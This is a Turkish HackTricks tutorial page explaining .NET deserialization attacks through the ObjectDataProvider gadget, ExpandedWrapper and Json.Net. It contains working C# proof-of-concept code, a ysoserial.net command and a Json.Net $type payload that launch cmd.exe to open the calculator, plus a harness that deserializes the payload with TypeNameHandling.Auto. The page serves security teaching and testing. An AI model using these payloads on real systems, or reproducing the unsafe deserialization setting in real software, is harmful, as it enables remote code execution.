Temel .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper ve Json.Net)
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Bu yazı, ObjectDataProvider gadget'ının nasıl istismar edildiğini anlamaya ve Json.Net ve xmlSerializer serileştirme kütüphanelerinin bu gadget ile nasıl kötüye kullanılabileceğini açıklamaya adanmıştır.
ObjectDataProvider Gadget
Belgelerden: ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarar ve oluşturur.
Evet, bu garip bir açıklama, o yüzden bu sınıfın ne kadar ilginç olduğunu görelim: Bu sınıf, keyfi bir nesneyi sarmaya izin verir, MethodParameters kullanarak keyfi parametreler ayarlamaya ve ardından keyfi bir işlevi çağırmak için MethodName kullanmaya olanak tanır.
Bu nedenle, keyfi nesne, deserialization sırasında parametrelerle bir işlevi çalıştıracaktır.
Bu nasıl mümkün
System.Windows.Data ad alanı, PresentationFramework.dll içinde C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
konumunda tanımlanmış ve uygulanmıştır.
dnSpy kullanarak, ilgilendiğimiz sınıfın kodunu inceleyebilirsiniz. Aşağıdaki resimde PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name kodunu görüyoruz.
Gördüğünüz gibi MethodName
ayarlandığında base.Refresh()
çağrılıyor, şimdi bunun ne yaptığını görelim:
Tamam, şimdi this.BeginQuery()
'nin ne yaptığını görelim. BeginQuery
, ObjectDataProvider
tarafından geçersiz kılınmıştır ve işte yaptığı:
Kodun sonunda this.QueryWorke(null)
çağrıldığını not edin. Bunun neyi çalıştırdığını görelim:
Bu, QueryWorker
fonksiyonunun tam kodu değil, ancak ilginç kısmını gösteriyor: Kod this.InvokeMethodOnInstance(out ex);
çağrısını yapıyor, bu, metod setinin çağrıldığı satırdır.
Sadece MethodName ayarlayarak bunun çalıştırılacağını kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Not edin ki System.Windows.Data
yüklemek için C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll referansını eklemeniz gerekiyor.
ExpandedWrapper
Önceki istismarı kullanarak, nesne bir ObjectDataProvider örneği olarak deseralize edileceği durumlar olacaktır (örneğin, DotNetNuke zafiyetinde, XmlSerializer kullanarak, nesne GetType
ile deseralize edildi). Bu durumda, ObjectDataProvider örneğinde sarılı olan nesne türü hakkında hiçbir bilgiye sahip olmayacağız (Process
gibi). DotNetNuke zafiyeti hakkında daha fazla bilgi burada bulabilirsiniz.
Bu sınıf, belirli bir örnekte kapsüllenmiş nesnelerin nesne türlerini belirlemeye olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (ObjectDataProvider) yeni bir nesne türüne kapsüllemek ve ihtiyaç duyduğumuz özellikleri sağlamak için kullanılabilir (ObjectDataProvider.MethodName ve ObjectDataProvider.MethodParameters).
Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü _ObjectDataProvider**'ı bir **ExpandedWrapper _ örneği içinde sarmalayabileceğiz ve deseralize edildiğinde bu sınıf, MethodName'de belirtilen fonksiyonu çalıştıracak OjectDataProvider nesnesini oluşturacaktır.
Bu sarmalayıcıyı aşağıdaki kod ile kontrol edebilirsiniz:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Resmi web sayfasında bu kütüphanenin Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye izin verdiği belirtilmiştir. Yani, eğer ObjectDataProvider gadget'ını serileştirebilirsek, sadece bir nesneyi serileştirerek RCE'ye neden olabiliriz.
Json.Net örneği
Öncelikle, bu kütüphaneyi kullanarak bir nesneyi nasıl serileştireceğimizi/serileştireceğimizi görelim:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Net'i Kötüye Kullanma
ysoserial.net kullanarak istismarı oluşturdum:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Bu kodda sömürüyü test edebilirsiniz, sadece çalıştırın ve bir hesap makinesinin çalıştığını göreceksiniz:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.